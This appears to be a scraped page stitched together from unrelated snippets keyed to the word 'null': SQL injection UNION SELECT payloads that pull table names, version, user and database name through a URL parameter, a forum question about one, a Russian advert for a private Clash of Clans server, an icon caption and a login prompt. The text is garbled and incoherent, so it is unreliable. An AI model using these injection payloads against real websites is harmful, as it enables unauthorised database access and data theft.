Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
...SELECT NULL,NULL,NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
Представляем обновление приватного сервера Null’s Clash 10.134.11 для игры Клеш оф Кланс.
Number of null-s on change between passed and failed queries is the one attacker looks for.
Yin Yang Composition Icon Of Zero And Null Digits In Various Sizes Vector Digits Are Scattered Into.
Войдите сейчас, чтобы увидеть свои каналы и рекомендации!
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables.
С учетом хранения null-ов и их неиндексируемости - издержки на хранение минимальные.
/index.php?id=null union all select 1,2,3,4,user(),6,database(),8,version(),10,11,12,1 3,14,15–. As you can see we selected values from the showing columns, what if we want to clean this up a bit, and put all of those selected values in one column?